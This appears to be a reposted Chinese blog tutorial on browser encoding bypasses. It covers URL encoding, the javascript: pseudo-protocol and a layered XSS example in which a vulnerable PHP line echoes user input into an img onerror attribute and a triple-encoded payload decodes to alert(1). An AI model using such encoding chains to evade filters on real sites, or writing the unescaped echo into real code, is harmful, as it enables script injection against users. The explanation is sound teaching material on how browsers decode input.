ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

浏览器编码绕过

2021-03-29 10:58:23  阅读:148  来源: 互联网

标签:编码 x30 浏览器 23x75 26% &# 23x5C 23x30 绕过


原文请看

编码与解码,浏览器都做了什么

更好的理解原文还需要观看:

1.url编码与解码原理

摘抄一些:
RFC3986文档规定,Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符,如果想在url中输入除了以上的字符就需要URL编码
RFC3986中指定了以下字符为保留字符:! * ' ( ) ; : @ & = + $ , / ? # [ ]
只有普通英文字符和数字,特殊字符$-_.+!*'()还有保留字符,才能出现在未经编码的Url之中
但是数据中包含特殊字符或者保留字时仍然需要编码–>
http请求(GET/POST)时,url/参数编码的过程分析–>
url输入->urlencode(utf-8)->全部转变成二进制传输->服务器将二进制转换成url编码的形式->urldecode成原始输入
unicode和utf-8–阮一峰
unicode用二进制存储了所有符号,而utf-8则是使用并按照特定方式修改unicode,从而应用到具体的编码方案中。

2.javascript伪协议

摘抄:
href是属性,需要通过伪协议javascript来执行js代码
one rror是事件,本身就可执行js代码

3.长文-浏览器的工作原理:新式网络浏览器幕后揭秘

实例

页面有如下标签
<?php echo '<img src=x one rror='.$_GET['input'].'>'; ?>
这时输入如下,实现弹窗

input=%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x36;%26%23x31;%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x36;%26%23x63;%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x36;%26%23x35;%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x37;%26%23x32;%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x37;%26%23x34;(1)

解析

alert的unicode编码->\u0061\u006c\u0065\u0072\u0074
再进行实体编码:

&#x5C;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5C;&#x75;&#x30;&#x30;&#x37;&#x34;

最后进行url编码:

%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x36;%26%23x31;%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x36;%26%23x63;%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x36;%26%23x35;%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x37;%26%23x32;%26%23x5C;%26%23x75;%26%23x30;%26%23x30;%26%23x37;%26%23x34;

当从url输入这一长串时后端服务器先urldecode变成实体编码放在了
<img src=x one rror='.$_GET['input'].'>
变成
<img src=x one rror='&#x5C;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5C;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5C;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5C;&#x75;&#x30;&#x30;&#x37;&#x34;(1)'>
输出到浏览器上,浏览器的渲染引擎将实体解码成
<img src=x one rror='\u0061\u006c\u0065\u0072\u0074(1)'>
最后onerror触发js解析器解码成
<img src=x one rror='alert(1)'>

标签:编码,x30,浏览器,23x75,26%,&#,23x5C,23x30,绕过
来源: https://blog.csdn.net/superprintf/article/details/111468978

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有